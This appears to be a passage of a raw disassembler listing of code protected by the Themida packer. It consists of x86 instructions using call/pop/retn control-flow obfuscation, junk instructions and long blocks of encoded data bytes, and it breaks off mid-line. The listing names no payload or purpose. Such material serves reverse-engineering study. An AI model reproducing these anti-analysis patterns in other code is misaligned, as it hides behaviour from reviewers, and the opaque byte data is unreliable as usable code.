--------------------------------------------------------------------------- pop esp jnz loc_5CA8E4 jnb loc_5CA8E4 mov [ebp+61417C1h], esi loc_5CA8E4: ; CODE XREF: sub_5C9F23+9AFj ; sub_5C9F23+9B5j cmp dword ptr [ebp+614013Dh], 3 jnz loc_5CAD33 mov [ebp+6142685h], ecx cmp dword ptr [ebp+617A7EAh], 0 jz loc_5CAD33 push 0 push edi call loc_5CA90F and [edi-3Dh], bl loc_5CA90F: ; CODE XREF: sub_5C9F23+9E4p pop edi mov [esp+18h+var_14], edi add [esp+18h+var_14], 15h inc edi push edi retn ; --------------------------------------------------------------------------- stosd test eax, 29CB8166h xor eax, 0A7EAB5FFh pop ss push es push 0 push edx call loc_5CA937 and [edx-3Dh], bl loc_5CA937: ; CODE XREF: sub_5C9F23+A0Cp pop edx mov [esp+20h+var_1C], edx add [esp+20h+var_1C], 1Dh inc edx push edx retn ; --------------------------------------------------------------------------- db 71h ; --------------------------------------------------------------------------- xchg eax, esp pushf xor byte ptr [ebx+ebx+635B32B4h], 0FFh xchg eax, ebp cmp [ebx], eax adc al, 6 mov edi, ebx push ecx or edi, [ebp+6140C99h] pop ebx mov esi, [ebp+617A7DEh] or [ebp+6141529h], esi mov dword ptr [esi], 10001h sub [ebp+614040Dh], ebx mov edi, 6297C341h xchg eax, esi jmp loc_5CA997 ; --------------------------------------------------------------------------- dd 0AEE13742h, 5245466Eh, 91323AD6h, 7F2F957Ch db 0E8h, 42h, 21h ; --------------------------------------------------------------------------- loc_5CA997: ; CODE XREF: sub_5C9F23+A5Cj push eax mov ebx, 42F855A5h xchg eax, esi push 0 push ecx call loc_5CA9A9 and [ecx-3Dh], bl loc_5CA9A9: ; CODE XREF: sub_5C9F23+A7Ep pop ecx mov [esp+30h+var_2C], ecx add [esp+30h+var_2C], 19h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 57h, 0F8h, 0F3h dd 0E923AEFCh, 11h, 0B2985D6Ah, 4A8804E5h, 483DC91Eh, 0FD197215h dd 0D99D8B43h, 0B061415h, 1412159Dh, 0EAB5FF06h, 8B0617A7h dd 16F381D9h, 0FF0FFE72h, 14108195h, 0F59D8B06h, 8B061416h dd 17A7DEB5h, 45BD8B06h, 8B061402h, 140FF985h, 419D8906h dd 8106141Ch, 0B1095CDFh, 0C4868942h, 8B000000h, 142B6995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0F69BB0EBh, 49C411CCh, 0C283A69Ah, 12E804h dd 4420000h, 0EAE8577Fh, 385A2BF0h, 9EB62253h, 7F6E99D3h dd 895BD1B3h, 800F2050h, 8, 0E5BD8B51h, 5F061409h, 0BC23858Dh dd 0DE80617h, 0CB000000h, 4291805Ch, 648A0170h, 1115D122h dd 0C9B53360h, 0E9061401h, 0Ah, 0CFCB095Eh, 0A9A5A197h dd 5F6131A6h, 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0ECD2FDC3h, 0C3290B61h dd 6A006AF9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0B763C351h, 0DBC43B49h, 0BD8B5EF2h dd 61434B1h, 0A7EAB5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 25EEC1C3h, 0F60157Eh dd 28Dh, 611EB500h, 33AD95FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0B6DE4AC3h dd 0F10F7B22h, 9D898EECh, 6142C35h, 0AE850h, 0DF620000h dd 1AE488CEh, 0BBC9704h, 0E50DBB51h, 5F5F135Dh, 0FF243489h dd 17A7EAB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 5CC84554h, 0BD8BF56Fh, 6141FC5h dd 230995FFh, 8ABB0614h, 837828C2h, 141189BDh, 840F0006h dd 44h, 0EDBD8B50h, 5B06142Fh, 0BA666096h, 820F6842h, 2 dd 50616160h, 96FE8B66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 39C35747h, 0BA0A64F2h, 34DDD72Ch, 4C46BF66h dd 0A7EAB5FFh, 14E90617h, 0FC000000h, 6B0B5B9Ah, 0B15B981Ch dd 1D6213BFh, 7E1EB9A7h, 0FF4A0258h, 1402D595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0E8EDAD78h, 0E38098A0h, 0A3CB818Fh, 0FF4A635Ah, 17A7EAB5h dd 0DDBD8B06h, 0FF06140Ch, 140B7595h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 85D46F95h, 2109C451h, 0DD8D2915h, 83061417h, 14112DBDh dd 840F0206h, 6Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0EDC35141h, 6870Fh, 9D290000h, 61425D5h dd 55858Bh, 0BD8B0614h, 6140A7Dh, 6D17BB51h, 0C65F7C21h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 35747CC3h, 8D297972h, 61401E9h, 1E899D89h dd 85C70614h, 6141E49h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call loc_5CAD17 and [ebx-3Dh], bl loc_5CAD17: ; CODE XREF: sub_5C9F23+DECp pop ebx mov [esp+38h+var_34], ebx add [esp+38h+var_34], 19h inc ebx push ebx retn ; --------------------------------------------------------------------------- db 58h dd 0E5653445h, 91BD8BFDh ; --------------------------------------------------------------------------- adc edx, [esi+eax] loc_5CAD33: ; CODE XREF: sub_5C9F23+9C8j ; sub_5C9F23+9DBj jmp near ptr dword_5C9FF0+1Bh ; --------------------------------------------------------------------------- push 0 push edi call loc_5CAD43 and [edi-3Dh], bl loc_5CAD43: ; CODE XREF: sub_5C9F23+E18p pop edi mov [esp+18h+var_14], edi add [esp+18h+var_14], 15h inc edi push edi retn ; --------------------------------------------------------------------------- mov ecx, 9531605Ch and [ecx], ebx adc al, 6 sub edx, 33AFA820h popa mov eax, ecx push 0 push ebp call loc_5CAD70 and [ebp-3Dh], bl loc_5CAD70: ; CODE XREF: sub_5C9F23+E45p pop ebp mov [esp+4], ebp add dword ptr [esp+4], 1Ah inc ebp push ebp retn ; --------------------------------------------------------------------------- std cmp dl, [edi+38C3B962h] loc_5CAD87: ; CODE XREF: sub_5C9F23:loc_5C9F30j lea eax, [ebp+6140791h] push 0 push edi call sub_5CAD98 and [edi-3Dh], bl sub_5C9F23 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CAD98 proc near ; CODE XREF: sub_5C9F23+E6Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5CAD98 endp ; --------------------------------------------------------------------------- dd 8F3B4A3Fh, 9D2960EEh, 6140701h, 2A59531h, 90610614h dd 310F5250h, 7E960h, 0E9840000h, 42768758h, 0F98B662Fh dd 50585A61h, 16800Fh, 0EE80000h, 0A1000000h, 9AF91047h dd 0F1ABF736h, 2E96C670h, 5B5F5666h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0AE85359h dd 0E4000000h, 0C6A41DE1h, 0DDCB47D2h, 85895200h, 614021Dh dd 6A5B5Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 86C35747h, 6860F91h, 0B000000h, 1411E5BDh, 0CF816606h dd 6ABA15h, 25B589h, 858D0614h, 618D469h, 19F5B529h, 0C0830614h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 80ACFCB9h, 0DDF4A341h, 0D419D29h, 0E9500614h dd 0Ah, 6365829Fh, 9F69EA3h, 4890413h, 1BD8B24h, 6A06141Bh dd 0EDBD8B00h, 6A06141Fh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0F35E6F3Fh dd 2E070E8Ah, 12E9h, 2F074500h, 0B02ACE51h, 642ABA40h dd 73A593C2h, 0FFEC3D45h, 141B1995h, 8EE38006h, 0A7788D8Dh dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 3302E3C3h, 5DE50543h, 95897C79h, 61404B5h dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0A3C3AAC3h, 29F3133Eh, 66F5643Bh, 0BD83DF8Bh dd 61401CDh, 0A2850F01h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F2FC350h dd 68Ah, 0E19D8B00h, 6A061404h, 53006A02h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BD6E574h dd 14001DBDh, 0BB509006h, 4034E379h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 9E657F62h dd 0FFFC7000h, 1433AD95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0E844CCDBh dd 8CF9FA91h, 0ED0E97Bh, 0E80000h, 5D000000h, 0D473ED81h dd 8D290618h, 61411D9h, 5E9h, 0B3A26900h, 0BD2967B1h, 6140711h dd 8E49858Dh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0F43CD3C3h, 0F276B84h, 48Bh, 56BF6600h dd 0E9515032h, 14h, 6B4F8DA1h, 7446EF40h, 4A0A407h, 9A4BB565h dd 72EBFBF0h, 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 53C35141h, 0F0D8D3EFh, 3800FA9h, 80000000h dd 0FF64B0CBh, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 853519BAh, 182CC781h dd 89645EFEh, 25h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 122B4843h, 8BBF5224h dd 141005BDh, 0F9B58906h, 0FF061422h, 142DED85h, 0CB816606h dd 0FF6AE501h, 5E9h, 24EE5E00h, 0B5FF842Eh, 6142389h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3BC35646h, 0BB1A852Fh dd 141FCE6Ch, 1DBDBD8Bh, 95FF0614h, 6142A89h, 140E9h, 0F800B000h dd 8F0F70E6h, 1, 0F71E4F9h, 681h, 0F1B53100h, 3C061430h dd 1E830F61h, 0E9000001h, 0Bh, 27777966h, 5B589D82h, 0FDFD671h dd 0DB81C8B6h, 2F09BF7Dh, 6BAh, 719D8900h, 0E8061412h dd 0Bh, 17AC41D3h, 6F08B8E7h, 0E9A70F01h, 5, 492BD531h dd 0C18B5B17h, 2D99D8Bh, 0E8C10614h, 0F2BF6604h, 0E2F76610h dd 12E9h, 3EB51600h, 0D68D7E4Dh, 777D2FC3h, 0B32EADCBh dd 2B66D37Dh, 66D88BC8h, 7DEDC381h, 0EE8D18Bh, 9000000h dd 4A89AD7Ch, 2CDB2E45h, 444D5C06h, 12E9CBh, 24D70000h dd 0BDFE9F41h, 0BAE847E9h, 0F714E402h, 83EE3729h, 7BE95Bh dd 0CE90000h, 49000000h, 865CD10Bh, 9D3E0532h, 8BFB617Ch dd 185h, 25D38100h, 836453A6h, 0BD8B07C0h, 6141F79h, 6600C083h dd 3B9456BBh, 0B830FD0h, 8B000000h, 14073DBDh, 3BE906h dd 8D8B0000h, 0FFFFFFFFh, 0E183F88Bh, 2A840F01h, 9000000h dd 1433F18Dh, 4870F06h, 66000000h, 835921BFh, 0FFFFFFA5h dd 0BF0FFEFFh, 19589D9h, 66000000h, 6D8DCF81h, 0E9h, 0F2B58D00h dd 81061846h, 0B50398DFh, 6A006A46h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2025C355h dd 780F8C6Dh, 7195FF09h, 6A061429h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0FCBDC357h dd 0ABA57B70h, 6880Fh, 0B5890000h, 6142FB1h, 0FF0B9h, 83FE8B00h dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 289A93C3h, 89A5C46Dh, 14181585h, 0C18D8906h dd 0FC061401h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 59C35343h, 0F938A0C8h, 0C3226E32h, 6840Fh, 85010000h dd 614262Dh, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 203DB149h, 0E9600355h dd 9, 0B1220407h, 9DB7C7C0h, 0BD89617Bh, 6142E09h, 6AD22Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 6236DFC3h, 1E219529h, 33AD0614h, 3E8D1C2h, 4E983D0h dd 9D8BF475h, 61415FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0BEC35646h, 0E8408E2Fh, 9D03113Dh, 6140981h dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 4D19E20Eh, 6E939D1Fh, 2B69958Bh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 12372DC3h, 3719D89h, 8D8B0614h, 6141055h dd 55C08060h, 8E861h, 0A2D20000h, 0F09435CEh, 5BFC2A15h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 8B575818h dd 1429759Dh, 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 5BDB5BC3h, 26BE1EAh, 0BD83B56Bh dd 6140F4Dh, 0A1840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BB98C351h dd 0B86541EAh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5CB4E7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB4E7 proc near ; CODE XREF: Themida_:005CB4DFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CB4E7 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- sbb eax, 3F2B13D6h lea ecx, [ebp+6144DFFh] push 0 push ecx call sub_5CB50E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB50E proc near ; CODE XREF: Themida_:005CB506p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5CB50E endp ; --------------------------------------------------------------------------- dw 84C6h db 6Dh byte_5CB521 db 68h, 51h, 0D1h ; DATA XREF: Themida_:005B7B50o dd 0FC1C92Ah, 28Eh, 0FFDC8A00h, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 47523CB1h dd 0BF2D8C4Bh, 673B6BDFh, 13DBD83h, 0F000614h, 46184h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 89B58949h, 83061410h, 14013DBDh, 840F0106h dd 44Dh, 1CCD9589h, 0BD830614h, 614013Dh, 4860F03h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F9CC351h, 1484h, 0FE900h, 78870000h, 0F63173D1h dd 0FC5D38Ah, 0C0A9779Bh, 6DB5890Fh, 6006140Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2EC35545h, 86F68523h dd 44B2B1A4h, 0D98C6686h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 96C35545h, 0F5C3A448h, 52CEC921h, 80D98B66h dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 5200B0C3h, 0F9891A43h, 8D291C31h, 61404F1h dd 2FB9BD89h, 0C90A0614h, 140840Fh, 0F600000h, 8ABADAB7h dd 61539828h, 0E35858Bh, 95890614h, 6140E75h, 6A98533h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 6CFD4C3h, 58BC564Dh, 8B1A0160h, 142C019Dh dd 0DEDB8106h, 5056A0D6h, 0BC8759BBh, 2404891Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 53C35343h, 994F8B20h dd 3DBD2350h, 5F06141Ah, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 98544EC3h, 0D5DFCF23h dd 4E86FE9h, 0FF000000h, 50001F03h, 424448Bh, 48E0Fh, 52600000h dd 8B6158h, 138E0Fh, 0EE90000h, 71000000h, 6A6E404h, 85A800A6h dd 9D89C62Dh, 2444896Dh, 13E804h, 33F20000h, 15FC50B3h dd 288D709Eh, 0FF0D0896h, 0C43F2AF7h, 7E9EFh, 23E10000h dd 50801526h, 29585FE3h, 140F0985h, 9D95FF06h, 60061408h dd 1D19BD23h, 89610614h, 17A7EA85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E951EAABh dd 165h, 858BFA8Bh, 617A7E2h, 0C7D98B66h, 1800h, 0F3DDBB00h dd 0B58B4583h, 617A7E6h, 8BFFB70Fh, 14028185h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 689EE22h, 0E2816660h, 8B615E29h, 140E3585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 95BD89C3h, 8906142Bh, 6A0446h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 5BCA41C3h, 0E1EA5BDBh dd 896B026Bh, 1408058Dh, 11E85006h, 2A000000h, 77C816B6h dd 0FC51EDACh, 0AFD60104h, 0BE3BBBA7h, 895FDA8Ah, 6A2434h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 4A82E2C3h, 82E8BF80h, 52E2F908h, 7644BB66h, 0E2B5FF5Bh dd 0F0617A7h, 0CC68FFB7h, 0F1F9697h, 288h, 81DDB300h, 94332434h dd 0B70F1F89h, 13E9DFh, 30690000h, 0F183A7C7h, 0A7C3038h dd 0C61DFB42h, 0AC6D40F9h, 0EA858D03h, 660617A7h, 90095FBBh dd 14E9h, 6B9FF00h, 2AC54487h, 83750CE5h, 0E19DB5BFh, 477A0C94h dd 8B6650E3h, 10E990FAh, 3D000000h, 55036A32h, 0BF692764h dd 0FACCD11Bh, 0FF464DF6h, 14089D95h, 6A6106h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 4A963C3h, 3ED375DCh, 8BB52643h, 3D85C7D8h, 3061401h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0E8AAC356h, 8, 0E5DA614Dh, 4253D8FCh dd 20719D31h, 835B0614h, 17A7EABDh, 840F0006h, 2Bh, 92B0BF66h dd 3DE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 9040A6C6h, 50248E0Bh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 4D7A52C3h dd 16666D02h, 6633D1B8h, 831E6CBFh, 14013DBDh, 850F0306h dd 497h, 191B531h, 810F0614h, 15h, 10E9h, 0D88ACD00h, 21D11621h dd 6C32374Dh, 0DEDD11F7h, 0EABD83A7h, 617A7h, 469840Fh dd 0B70F0000h, 0EAB5FFF8h, 6A0617A7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 3016C352h dd 0A311BF6Ah, 0BF66649Fh, 95FF1256h, 6140339h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 83C35545h, 0E97A1837h dd 13h, 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h, 8BA6C600h dd 17A7DEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0C7FD0733h, 1000106h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 8B33CAA9h, 0FFB35070h, 68C0Fh, 0B5290000h, 6141839h dd 6850Fh, 8D890000h, 614156Dh, 50FAB70Fh, 3489D98Bh, 0A9BD8B24h dd 0FF061419h, 17A7EAB5h, 459D8B06h, 0FF061402h, 14108195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0E025907Ah, 0E7971527h, 9BCB8166h, 0DEB58B84h dd 0F0617A7h, 68Eh, 35852900h, 8B06141Eh, 140FF985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F81643Fh, 684h, 7AD38100h, 894058F3h, 1434A9B5h, 0C4868906h dd 8B000000h, 14078DBDh, 69958B06h, 6A06142Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 1AACC350h, 0E2FC07FCh, 29FFDB6Fh, 141C218Dh, 2FDF8106h dd 8318C95Ch, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0E03A0CC3h, 8EF2ABE2h, 6A205089h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 82BC357h, 9E786E88h, 8D4149BDh, 17BC2385h dd 0ABB6606h, 0B886894Ch, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 71B1C355h dd 0F9DBF60h, 6A6101B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0B4DCD44h, 0B5FF91B5h dd 617A7EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0EFC35646h, 47C55B7Ch, 33AD95FFh, 5E90614h, 6B000000h dd 0FCDCBD43h, 8972B350h, 1EB32434h, 0A7EAB5FFh, 0F88A0617h dd 230995FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0DD6622C3h, 2916CCCDh, 1420059Dh dd 89BD8306h, 61411h dd 6C840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E92735C3h, 0Fh, 0ACF63B33h, 8D1ABFE2h dd 0FC175BAh, 0E9963367h, 11h, 630E6EA6h, 7FB21A42h, 54BD0B35h dd 3B2DF8C1h, 4D9D8B38h, 96061407h, 5050D98Bh, 9E952h dd 0CC100000h, 4610F6Bh, 0F404E54h, 0D98B6631h, 8096585Ah dd 0B5FF65E3h, 617A7EAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 7C35242h, 13D61DCBh, 0EC9F3F2Bh, 7585093Ch dd 66061426h, 0FF6A8EBBh, 1402D595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0F38166A3h dd 0BD01893Ch, 6140979h, 18F59D8Bh, 0B5FF0614h, 617A7EAh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6BC35545h dd 0CEE1D7D0h, 0AB657A3Ah, 7595FF0Fh, 8A06140Bh, 5BD8BDDh dd 83061417h, 14112DBDh, 840F0206h, 46h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 91C35545h, 531623h dd 57CC1CDFh, 7F8DBBAFh, 8A606D79h, 5B5760D9h, 61615852h dd 55858Bh, 8B660614h, 0C6F9h, 501B589h, 85C70614h, 6141E49h dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5CBE9F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBE9F proc near ; CODE XREF: Themida_:005CBE97p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5CBE9F endp ; --------------------------------------------------------------------------- db 0A4h dd 47D786BBh, 8E0F9A36h, 5, 4D681EBBh, 9D2B606Eh, 61403DDh dd 0E961C18Bh, 0FFFFF242h, 0C18BDF8Bh, 1EA5BD8Bh, 858D0614h dd 6140791h, 6E9h, 0BE3DCF00h, 50BA8854h, 6A42BB66h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0DF55C350h, 0E90E311Bh, 7, 0BC0F90C4h, 6A8ADC43h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 465F0808h, 96C5C8E4h, 0EB810A63h, 23F1C060h dd 34D59D89h, 6A0614h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0AC35242h, 530F785h, 50C780B4h, 0E527858Dh dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 6A9772C3h, 83C60736h, 858D89C6h, 83061400h dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0CCBD33C3h, 759B85E6h, 50FCA6B8h, 489D88Bh dd 0D3816624h, 6A023Dh, 0CEDB8166h, 6A006ABEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 6C3FC356h, 0BD2E0F12h, 0FF89B7D9h, 141B1995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 88C44A2Eh, 14870F8Ah, 60000000h, 0AE9h, 45E33900h, 0AFE1862Dh dd 6693A978h, 0F961C18Bh, 0A7788D8Dh, 0D1FF0617h, 0F98B6653h dd 0CDBD835Bh, 1061401h, 61850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 3949EC3h dd 663FF9DFh, 26AFE8Bh, 50FE8B66h, 89FE8B66h, 29512404h dd 140D498Dh, 810F5F06h, 17h, 0EE8h, 818E1E00h, 9783CD4Ah dd 3F7C3335h, 66BCC6E6h, 0FF5FDE8Bh, 1433AD95h, 0FDBD8B06h dd 0E9061423h, 0D07h, 0E8h, 0ED815D00h, 618E531h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E8C35646h, 0EE9h dd 2B599100h, 0CACD9B7Dh, 0BDBDEAFFh, 8D82D4E6h, 178E4985h dd 0A99D8B06h, 81061433h, 9F6925CFh, 0E8509037h, 13h, 0ADFA6DAEh dd 99BD6EE7h, 4D62E3A0h, 68A6DE7Ah, 5B094240h, 0B58D2990h dd 64061404h, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 60179FC3h, 258964h, 1000000h dd 142BA1BDh, 0ED85FF06h, 6A06142Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A56BC356h dd 0BB0F671Bh, 60065DADh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 13734BC3h, 6E9h, 0EC63E000h dd 0FF448180h, 1404B1B5h, 88F0F06h, 57000000h, 9A98D89h dd 35B0614h, 141BB19Dh, 8995FF06h, 0E906142Ah, 0F3h, 16E98D31h dd 0B00614h, 0BF99589h, 70E60614h, 2DE7EB81h, 71E44317h dd 830F613Ch, 0D3h, 29C8B60Fh, 1408D5B5h, 6BA06h, 0C18B0000h dd 4519D33h, 0E8C10614h, 0E4BB6604h, 0BE8AEh, 0C1030000h dd 0AFC6F8Dh, 2129C9C2h, 5BF98A35h, 0E8E2F766h, 14h, 4EC3A787h dd 80261435h, 1F83157Bh, 76401CB3h, 22838245h, 20A59D0Bh dd 2B5B0614h, 85BD0BC8h, 8B061410h, 6D8589D1h, 0E906142Dh dd 6Bh, 492E16BBh, 4858B3Dh, 89000000h, 141E118Dh, 7C08306h dd 0E129BB66h, 8B00C083h, 142C7DBDh, 0FD03B06h, 1A83h dd 8E900h, 98C20000h, 0C366151h, 30E96B1Ch, 56000000h dd 19ED9529h, 8B5F0614h, 0FFFFFF8Dh, 1E183FFh, 19840Fh dd 0A5830000h, 0FFFFFFFFh, 0FBB70FFEh, 49589h, 0BB660000h dd 0E9DC7Eh, 8D000000h, 1856E2B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0D50C45A0h dd 4D9E8818h, 6850Fh, 880F0000h, 0 ; --------------------------------------------------------------------------- push 0 push 0 push edi call sub_5CC319 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC319 proc near ; CODE XREF: Themida_:005CC311p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5CC319 endp ; --------------------------------------------------------------------------- or bl, [edx+60B25519h] fld tbyte ptr [esi+29h] call dword ptr [ebp+6142971h] push 0 push edi call sub_5CC343 and [edi-3Dh], bl ; =============== S U B R O U 